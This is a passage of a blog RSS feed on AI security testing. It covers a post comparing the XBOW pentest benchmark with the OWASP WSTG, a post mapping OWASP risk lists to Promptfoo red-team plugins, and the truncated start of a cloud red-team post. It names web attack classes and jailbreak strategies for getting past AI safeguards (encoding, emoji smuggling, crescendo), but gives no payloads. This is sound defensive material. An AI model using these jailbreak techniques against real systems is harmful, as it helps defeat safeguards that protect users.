&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Scope&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Web vulns: SQLi, XSS, IDOR, SSRF, SSTI, auth bypass&lt;/td&gt;
&lt;td&gt;90+ test cases across 12 categories incl. cryptography, business logic, client-side&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Business logic coverage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Minimal — pattern-matching exploits only&lt;/td&gt;
&lt;td&gt;Extensive — OTG-BUSLOGIC is a full category&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Maintenance&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Continuous, benchmark evolves with agent capability&lt;/td&gt;
&lt;td&gt;Versioned releases (currently v4.2); slower update cycle&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Reproducibility&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High — isolated Docker environments, deterministic flags&lt;/td&gt;
&lt;td&gt;Moderate — results depend heavily on tester skill&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Evidence standard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flag capture proves exploitation&lt;/td&gt;
&lt;td&gt;Requires PoC + HTTP evidence + impact narrative&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Optimised for&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Speed and autonomy&lt;/td&gt;
&lt;td&gt;Completeness and rigour&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  3. Vulnerability Coverage Overlap
&lt;/h2&gt;

&lt;p&gt;Both frameworks cover the high-signal web categories — but XBOW tests &lt;strong&gt;exploitation depth&lt;/strong&gt; while WSTG tests &lt;strong&gt;coverage breadth&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;XBOW stress-tests the categories AI handles best: injection flaws, broken authorisation, SSRF, and information disclosure. WSTG adds the human-dependent domains XBOW leaves out: business logic abuse, complex multi-step auth flows, WebSocket attacks, and cryptographic weaknesses that require contextual reasoning.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key gap:&lt;/strong&gt; An agent that scores 80% on XBOW still cannot reliably handle roughly &lt;strong&gt;25–30% of WSTG's total test surface&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  XBOW → WSTG Test ID Mapping
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SQLi                →  OTG-INPVAL-005, OTG-INPVAL-006
XSS (Reflected)     →  OTG-INPVAL-001, OTG-CLIENT-002
IDOR                →  OTG-AUTHZ-001, OTG-AUTHZ-002
SSRF                →  OTG-INPVAL-019
Auth Bypass         →  OTG-AUTHN-001 through OTG-AUTHN-010
Info Disclosure     →  OTG-INFO, OTG-ERR
SSTI                →  OTG-INPVAL-018
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. XBOW Category Exploit Rates
&lt;/h2&gt;

&lt;p&gt;Current top-agent performance as of early 2026:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability Category&lt;/th&gt;
&lt;th&gt;Approx. Success Rate&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;~85%&lt;/td&gt;
&lt;td&gt;Error-based + blind both covered&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IDOR / AuthZ&lt;/td&gt;
&lt;td&gt;~80%&lt;/td&gt;
&lt;td&gt;Sequential ID assumptions a weak point&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-Site Scripting&lt;/td&gt;
&lt;td&gt;~70%&lt;/td&gt;
&lt;td&gt;Context-aware payload selection required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSRF&lt;/td&gt;
&lt;td&gt;~60%&lt;/td&gt;
&lt;td&gt;Redirect handling can block agents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth Bypass&lt;/td&gt;
&lt;td&gt;~45%&lt;/td&gt;
&lt;td&gt;JWT alg:none, default creds viable; SSO chains not&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Business Logic&lt;/td&gt;
&lt;td&gt;~15%&lt;/td&gt;
&lt;td&gt;Pattern-matching fails; requires intent reasoning&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. OWASP WSTG Category Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;AI Viability&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Information Gathering&lt;/td&gt;
&lt;td&gt;OTG-INFO&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;td&gt;Mechanical, high-volume — ideal for agents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Configuration &amp;amp; Deployment&lt;/td&gt;
&lt;td&gt;OTG-CONF&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;td&gt;HTTP methods, cloud storage checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identity Management&lt;/td&gt;
&lt;td&gt;OTG-IDENT&lt;/td&gt;
&lt;td&gt;🔶 Medium&lt;/td&gt;
&lt;td&gt;Account enumeration viable; lockout logic varies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication&lt;/td&gt;
&lt;td&gt;OTG-AUTHN&lt;/td&gt;
&lt;td&gt;🔶 Medium&lt;/td&gt;
&lt;td&gt;Default creds yes; MFA/SSO chains require humans&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authorisation&lt;/td&gt;
&lt;td&gt;OTG-AUTHZ&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;td&gt;IDOR and privilege escalation well-covered&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Session Management&lt;/td&gt;
&lt;td&gt;OTG-SESS&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;td&gt;Cookie attributes, CSRF, fixation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Input Validation&lt;/td&gt;
&lt;td&gt;OTG-INPVAL&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;td&gt;SQLi, XSS, SSRF, XXE, SSTI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Error Handling&lt;/td&gt;
&lt;td&gt;OTG-ERR&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;td&gt;Stack traces, verbose errors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cryptography&lt;/td&gt;
&lt;td&gt;OTG-CRYPT&lt;/td&gt;
&lt;td&gt;🔶 Medium&lt;/td&gt;
&lt;td&gt;Weak ciphers detectable; nuanced analysis requires humans&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Business Logic&lt;/td&gt;
&lt;td&gt;OTG-BUSLOGIC&lt;/td&gt;
&lt;td&gt;❌ Low&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Human domain&lt;/strong&gt; — requires understanding of intent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Client-Side Testing&lt;/td&gt;
&lt;td&gt;OTG-CLIENT&lt;/td&gt;
&lt;td&gt;🔶 Medium&lt;/td&gt;
&lt;td&gt;DOM XSS viable; clickjacking context-dependent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API Testing&lt;/td&gt;
&lt;td&gt;OTG-API&lt;/td&gt;
&lt;td&gt;✅ High&lt;/td&gt;
&lt;td&gt;GraphQL introspection, mass assignment well-covered&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  6. How They Complement Each Other
&lt;/h2&gt;

&lt;p&gt;The two frameworks are most powerful when used &lt;strong&gt;together&lt;/strong&gt; rather than as alternatives.&lt;/p&gt;

&lt;h3&gt;
  
  
  XBOW as a Pre-Engagement Calibration Tool
&lt;/h3&gt;

&lt;p&gt;Before deploying an AI agent on a live engagement, run it against the benchmark to understand where it is reliable and where it is not. Do not trust it on auth bypass if its XBOW score in that category is below 50%.&lt;/p&gt;

&lt;h3&gt;
  
  
  WSTG as the Engagement Contract
&lt;/h3&gt;

&lt;p&gt;Structure pentest scope, evidence packs, and the final report against WSTG test IDs. This gives clients an auditable methodology regardless of whether findings were surfaced by an agent or a human.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recommended Handoff Points
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;AI Agent handles autonomously&lt;/th&gt;
&lt;th&gt;Human pentester handles&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OTG-INPVAL (injection flaws)&lt;/td&gt;
&lt;td&gt;OTG-BUSLOGIC (all tests)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OTG-AUTHZ (IDOR, privilege escalation)&lt;/td&gt;
&lt;td&gt;OTG-AUTHN (SSO, MFA, OAuth chains)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OTG-INFO (recon and fingerprinting)&lt;/td&gt;
&lt;td&gt;Any finding requiring understanding of intended app behaviour&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OTG-ERR (error disclosure)&lt;/td&gt;
&lt;td&gt;CVSS scoring and impact narrative&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OTG-API (GraphQL, mass assignment)&lt;/td&gt;
&lt;td&gt;Client communication and triage of false positives&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  7. The Fundamental Tension
&lt;/h2&gt;

&lt;p&gt;XBOW optimises for &lt;strong&gt;speed and autonomy&lt;/strong&gt; — it rewards an agent that finds a working SQLi in 90 seconds.&lt;/p&gt;

&lt;p&gt;WSTG optimises for &lt;strong&gt;completeness and rigour&lt;/strong&gt; — it rewards a tester who documents every negative result alongside every finding.&lt;/p&gt;

&lt;p&gt;These goals can conflict:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An AI agent chasing high XBOW scores may skip the slow, methodical negative-confirmation work that WSTG requires.&lt;/li&gt;
&lt;li&gt;A pentest report that covers only the things the agent could exploit autonomously is &lt;strong&gt;not a WSTG-compliant report&lt;/strong&gt; — it is an automated scanner output.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Core Distinction
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;XBOW Benchmark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tells you what AI &lt;em&gt;can&lt;/em&gt; do offensively&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP WSTG&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tells you what a pentest &lt;em&gt;must&lt;/em&gt; cover professionally&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both are necessary. Neither is sufficient alone.&lt;/p&gt;




</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>testing</category>
    </item>
    <item>
      <title>Promptfoo Frameworks and Plugins + Strategies</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Wed, 28 Jan 2026 13:46:29 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/promptfoo-frameworks-and-plugins-strategies-5bah</link>
      <guid>https://dev.to/cheahengsoon/promptfoo-frameworks-and-plugins-strategies-5bah</guid>
      <description>&lt;p&gt;&lt;strong&gt;Red Team Frameworks and Plugins&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;OWASP LLM Top 10&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OWASP ID&lt;/th&gt;
&lt;th&gt;Risk Description&lt;/th&gt;
&lt;th&gt;Promptfoo Plugin(s)&lt;/th&gt;
&lt;th&gt;Test Evidence Produced&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;LLM01&lt;/td&gt;
&lt;td&gt;Prompt Injection&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;jailbreak&lt;/code&gt;, &lt;code&gt;jailbreak:meta&lt;/code&gt;, &lt;code&gt;jailbreak:composite&lt;/code&gt;, &lt;code&gt;hijacking&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Model response showing instruction override, system prompt leakage, or refusal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM02&lt;/td&gt;
&lt;td&gt;Data Leakage&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;pii:direct&lt;/code&gt;, &lt;code&gt;pii:session&lt;/code&gt;, &lt;code&gt;pii:api-db&lt;/code&gt;, &lt;code&gt;harmful:privacy&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;PII exposure in output, session recall, cross-request leakage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM03&lt;/td&gt;
&lt;td&gt;Training Data Poisoning&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;hallucination&lt;/code&gt;, &lt;code&gt;misinformation-disinformation&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Fabricated facts, invented citations, false confidence indicators&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM04&lt;/td&gt;
&lt;td&gt;Model Denial of Service&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;excessive-agency&lt;/code&gt;, &lt;code&gt;unsafe-practices&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Over-long responses, infinite loops, tool-call amplification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM05&lt;/td&gt;
&lt;td&gt;Supply Chain Vulnerabilities&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;contracts&lt;/code&gt;, &lt;code&gt;excessive-agency&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Unauthorized commitments, third-party invocation attempts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM06&lt;/td&gt;
&lt;td&gt;Sensitive Information Disclosure&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;harmful:privacy&lt;/code&gt;, &lt;code&gt;pii:*&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Disclosure of secrets, credentials, or inferred private data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM07&lt;/td&gt;
&lt;td&gt;Insecure Plugin Design&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;excessive-agency&lt;/code&gt;, &lt;code&gt;hijacking&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Tool misuse, privilege escalation attempts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM08&lt;/td&gt;
&lt;td&gt;Excessive Agency&lt;/td&gt;
&lt;td&gt;&lt;code&gt;excessive-agency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Actions taken without user consent or scope&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM09&lt;/td&gt;
&lt;td&gt;Overreliance on LLM Output&lt;/td&gt;
&lt;td&gt;&lt;code&gt;specialized-advice&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unqualified legal/medical/financial advice&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LLM10&lt;/td&gt;
&lt;td&gt;Model Bias&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bias:*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Differential or discriminatory responses&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;OWASP GenAI Red Team&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Attack Class&lt;/th&gt;
&lt;th&gt;Promptfoo Plugin(s)&lt;/th&gt;
&lt;th&gt;Test Evidence Produced&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Jailbreaks&lt;/td&gt;
&lt;td&gt;Instruction Override&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jailbreak:*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Successful guardrail bypass or refusal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Role Manipulation&lt;/td&gt;
&lt;td&gt;Authority Escalation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hijacking&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;System persona override&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persuasion&lt;/td&gt;
&lt;td&gt;Coercion / Social Engineering&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;pii:social&lt;/code&gt;, &lt;code&gt;contracts&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Manipulated disclosure or agreement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fabrication&lt;/td&gt;
&lt;td&gt;Hallucination&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hallucination&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;False outputs with high confidence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Boundary Violations&lt;/td&gt;
&lt;td&gt;Scope Expansion&lt;/td&gt;
&lt;td&gt;&lt;code&gt;excessive-agency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unauthorized actions or suggestions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Safety Evasion&lt;/td&gt;
&lt;td&gt;Policy Circumvention&lt;/td&gt;
&lt;td&gt;&lt;code&gt;harmful:*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unsafe content generation attempts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;OWASP API Top 10 (GenAI-Relevant)&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API Risk&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Promptfoo Plugin(s)&lt;/th&gt;
&lt;th&gt;Test Evidence Produced&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;API01&lt;/td&gt;
&lt;td&gt;Broken Object Level Authorization&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pii:api-db&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cross-tenant or object data access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API02&lt;/td&gt;
&lt;td&gt;Broken Authentication&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;hijacking&lt;/code&gt;, &lt;code&gt;excessive-agency&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Identity confusion or impersonation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API03&lt;/td&gt;
&lt;td&gt;Excessive Data Exposure&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;pii:direct&lt;/code&gt;, &lt;code&gt;harmful:privacy&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Over-verbose or sensitive fields leaked&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API04&lt;/td&gt;
&lt;td&gt;Resource Exhaustion&lt;/td&gt;
&lt;td&gt;&lt;code&gt;excessive-agency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Token abuse, looping calls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API06&lt;/td&gt;
&lt;td&gt;Mass Assignment&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;contracts&lt;/code&gt;, &lt;code&gt;excessive-agency&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Unauthorized parameter acceptance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API09&lt;/td&gt;
&lt;td&gt;Improper Inventory Management&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hallucination&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;References to non-existent APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API10&lt;/td&gt;
&lt;td&gt;Unsafe Consumption of APIs&lt;/td&gt;
&lt;td&gt;&lt;code&gt;unsafe-practices&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trusting malicious upstream inputs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;OWASP Top 10 for Agentic Applications&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Agentic Risk&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Promptfoo Plugin(s)&lt;/th&gt;
&lt;th&gt;Test Evidence Produced&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A01&lt;/td&gt;
&lt;td&gt;Excessive Autonomy&lt;/td&gt;
&lt;td&gt;&lt;code&gt;excessive-agency&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Agent performs actions without approval&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A02&lt;/td&gt;
&lt;td&gt;Tool Misuse&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hijacking&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Tool invocation outside intent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A03&lt;/td&gt;
&lt;td&gt;Goal Manipulation&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jailbreak:*&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Agent goal redefinition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A04&lt;/td&gt;
&lt;td&gt;Unauthorized Commitments&lt;/td&gt;
&lt;td&gt;&lt;code&gt;contracts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Legal or financial commitments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A05&lt;/td&gt;
&lt;td&gt;Unsafe Planning&lt;/td&gt;
&lt;td&gt;&lt;code&gt;unsafe-practices&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hazardous multi-step plans&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A06&lt;/td&gt;
&lt;td&gt;Unqualified Advice&lt;/td&gt;
&lt;td&gt;&lt;code&gt;specialized-advice&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Professional advice without disclaimers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A07&lt;/td&gt;
&lt;td&gt;Memory Poisoning&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pii:session&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Persistent unsafe memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A08&lt;/td&gt;
&lt;td&gt;Privacy Violations&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;harmful:privacy&lt;/code&gt;, &lt;code&gt;pii:*&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Personal data exposure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A09&lt;/td&gt;
&lt;td&gt;Trust Boundary Failure&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;excessive-agency&lt;/code&gt;, &lt;code&gt;hijacking&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Cross-role privilege abuse&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A10&lt;/td&gt;
&lt;td&gt;Hallucinated Actions&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hallucination&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Invented tools or outcomes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Red Team Strategies&lt;/strong&gt; &lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Strategies&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Static / Encoding&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;basic&lt;/code&gt;, &lt;code&gt;base64&lt;/code&gt;, &lt;code&gt;hex&lt;/code&gt;, &lt;code&gt;homoglyph&lt;/code&gt;, &lt;code&gt;camelcase&lt;/code&gt;, &lt;code&gt;emoji-smuggling&lt;/code&gt;, &lt;code&gt;audio-encoding&lt;/code&gt;, &lt;code&gt;image-encoding&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dynamic / Agent&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;likert&lt;/code&gt;, &lt;code&gt;math&lt;/code&gt;, &lt;code&gt;meta-agent&lt;/code&gt;, &lt;code&gt;tree&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Multi‑turn&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;crescendo&lt;/code&gt;, &lt;code&gt;goat&lt;/code&gt;, &lt;code&gt;hydra&lt;/code&gt;, &lt;code&gt;mischievous-user&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Regression / Layered&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;retry&lt;/code&gt;, &lt;code&gt;layer&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>promptfoo</category>
      <category>owasp</category>
      <category>llmredteam</category>
      <category>aisecurity</category>
    </item>
    <item>
      <title>From Recon to Exfiltration: A Step-by-Step Red Team Exercise in Azure and AWS</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Mon, 11 Aug 2025 07:12:55 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/from-recon-to-exfiltration-a-step-by-step-red-team-exercise-in-azure-and-aws-1hnb</link>
      <guid>https://dev.to/cheahengsoon/from-recon-to-exfiltration-a-step-by-step-red-team-exercise-in-azure-and-aws-1hnb</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhcnkw2mp7z66bpvd126c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhcnkw2mp7z66bpvd126c.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;br&gt;
This will cover:&lt;/p&gt;

&lt;ol&gt;
